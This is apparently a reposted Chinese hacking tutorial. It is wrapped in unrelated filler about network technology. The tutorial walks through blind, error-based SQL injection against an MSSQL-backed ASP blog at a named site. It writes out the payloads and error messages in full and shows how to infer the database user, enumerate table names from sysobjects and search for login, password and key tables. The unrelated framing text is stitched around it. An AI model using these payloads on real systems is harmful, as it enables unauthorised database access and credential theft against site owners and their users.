网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。 如何灵活地运用SQL Injection做数据库渗透的一种思路如今,很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方 www.xxxxx.com/blog.asp?id=4 当加入" ' "符号进行注入测试时, www.xxxxx.com/blog.asp?id=4' 出错信息是, [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4? to a column of data type int 我们知道它不对" ' "符号进行过滤。再用如下语句测试, _blank>http://www.aquavelvas.com/blog.asp?id=4 and 1=1 出错信息是, [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4 and 1=1' to a column of data type int 好,再来继续测试, _blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20'1'='1 这次出错讯息不同了,如下 [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and ' 我们的" ' "符号加对了,再继续测试, _blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20user>'0 出错信息如下, [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and user>' 应该是语法不允许直接回值,是不是不能再继续了呢?想想其他办法,就看user值的长度吧, _blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20len(user)>'0 出错信息是, [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and len(user)>' 好,我们知道如果出错信息是Syntax error...或Either BOF or EOF is True...的话,那语句在逻辑上是错的;而如果出错信息是Incorrect syntax...的话,那语句在逻辑上就是对的。当处理len(user)>0,凭着刚才的想法,我们知道在逻辑上这是对的。 我们试试逻辑上错的语句, _blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20user%20'1'='2 果然,出错信息是, Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record 从len(user)>0这语法的基础上,我们得知user的长度是7,之后再用left(user,1)=a这语法来猜出user名是 thomasa。再用db_name()这个function,我们可猜出数据库名。 好了,如何猜表名呢?就先猜表名的长度吧, 就用如下语句, len(select top 1 name from sysobjects where xtype='U')>10 len(select top 1 name from sysobjects where xtype='U')>9 len(select top 1 name from sysobjects where xtype='U')>8 ... (猜表名的工作是很烦人,建议用perl写个script来玩玩) 再猜表名, left((select top 1 name from sysobjects where xtype='U'),1)=a left((select top 1 name from sysobjects where xtype='U'),2)=ab left((select top 1 name from sysobjects where xtype='U'),3)=abc ... 好了,我们知道第一个表名是'geoipcountrywhois' (知道为什么我建议写个perl script吧!) 再继续猜表名, len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>10 len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>9 len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>8 ... left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=b left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=l left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=o .... 好第二个表名是blog,之后的表名可用('geoipcountrywhois','blog')来继续猜,然而,这显然不是好办法。为什么我们不进行搜索呢? 如何搜索呢?就用如下的语句吧, (select count(*) from sysobjects where xtype='U' and name like '%login%')=0 (select count(*) from sysobjects where xtype='U' and name like '%pass%')=0 (select count(*) from sysobjects where xtype='U' and name like '%key%')=0 (记得将" % "这符号换成" %25 "才是正确的输入) 好了,通过逻辑上对或错的判断,我们也可以对数据库进行渗透,不再局限于回弹显示值。 希望这思路能开阔注入技术的演变。 网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。 |
温馨提示:喜欢本站的话,请收藏一下本站!